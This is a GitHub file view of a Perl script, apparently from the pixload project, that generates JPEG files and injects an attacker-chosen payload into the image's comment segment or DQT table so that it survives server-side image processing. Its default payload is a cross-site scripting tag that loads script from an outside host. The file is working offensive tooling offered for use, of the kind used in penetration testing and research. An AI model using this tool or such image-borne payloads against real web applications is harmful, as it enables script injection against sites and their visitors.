forked from sighook/pixload
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjpg.pl
executable file
·144 lines (110 loc) · 4 KB
/
jpg.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/usr/bin/perl
#
# JPEG Payload Creator/Injector
#
# coded by chinarulezzz, [email protected]
#
# See LICENSE file for copyright and license details.
#
use strict;
use warnings;
use feature 'say';
use Getopt::Long;
use Image::ExifTool ':Public';
use POSIX;
sub usage;
sub create_jpg;
sub inject_payload_to_comm;
sub inject_payload_to_dqt;
# Command line options
GetOptions(
'help!' => \my $help,
'place=s' => \my $place,
'payload=s' => \my $payload,
'output=s' => \my $outfile,
);
usage(0) if $help;
usage(1) unless $place and $outfile;
$payload //= '<script src=//nji.xyz></script>';
say <<EOF;
[>| JPEG Payload Creator/Injector |<]
https://github.com/chinarulezzz/pixload
EOF
if (uc $place eq 'COM') {
create_jpg unless -f $outfile;
inject_payload_to_comm;
}
elsif (uc $place eq 'DQT') {
die "The payload size must not exceed 64 bytes!\n"
if length($payload) > 64;
create_jpg;
inject_payload_to_dqt;
}
else {
die "-place option argument must be COM or DQT\n";
}
say `file $outfile` if -f '/usr/bin/file';
say `hexdump -C $outfile` if -f '/usr/bin/hexdump';
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Subroutines #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
sub usage {
say <<"EOF";
Usage: $0 -place COM|DQT [-payload 'STRING'] -output payload.jpg
-place COM:
The payload will be injected as a 'COMMENT'.
If the output file exists, then the payload will be injected into the
existing file. Else the new one will be created.
-place DQT:
The payload will be injected into 'DQT table'.
LIMITATION:
1. payload size must not exceed 64 bytes.
2. no injection support, only new file generation.
This is necessary in case the server application processes images and
removes comments, application-specific data, etc.
The data in DQT table must remain intact.
! If the output file exists, then it will be rewritten. !
EOF
exit +shift;
}
sub create_jpg {
say "[>] Generating output file";
sysopen my $fh, $outfile, O_CREAT|O_WRONLY;
syswrite $fh, "\xff\xd8"; # SOI
syswrite $fh, "\xff\xdb"; # DQT
syswrite $fh, pack('S>', 67); # DQT SIZE
syswrite $fh, "\x00" . "\x01" x 64; # DQT DATA
syswrite $fh, "\xff\xc2"; # SOF
syswrite $fh, "\x00\x0b"; # SOF SIZE
syswrite $fh, "\x08\x00\x01\x00\x01\x01\x01\x11\x00"; # SOF DATA
syswrite $fh, "\xff\xc4"; # DHT
syswrite $fh, "\x00\x14"; # DHT SIZE
syswrite $fh, "\x00\x01\x00\x00\x00\x00\x00\x00\x00". # DHT DATA
"\x00\x00\x00\x00\x00\x00\x00\x00\x03";
syswrite $fh, "\xff\xda"; # SOS
syswrite $fh, "\x00\x08"; # SOS SIZE
syswrite $fh, "\x01\x01\x00\x00\x00\x01\x3f"; # SOS DATA
syswrite $fh, "\xff\xd9"; # EOI
close $fh;
say "[✔] File saved to: $outfile\n";
}
sub inject_payload_to_comm {
say "[>] Injecting payload into COMMENT";
my $exifTool = Image::ExifTool->new;
$exifTool->SetNewValue('Comment', $payload)
or die "[✘] Fail to SetNewValue\n";
$exifTool->WriteInfo($outfile)
or die "[✘] Fail to WriteInfo\n";
say "[✔] Payload was injected successfully\n";
}
sub inject_payload_to_dqt {
say "[>] Injecting payload into DQT table";
my $payload_len = length $payload;
sysopen my $fh, $outfile, O_WRONLY;
sysseek $fh, (7 + (64 - $payload_len)), SEEK_SET;
syswrite $fh, $payload;
close $fh;
say "[✔] Payload was injected succesfully\n";
}
# vim:sw=4:ts=4:sts=4:et:cc=80
# End of file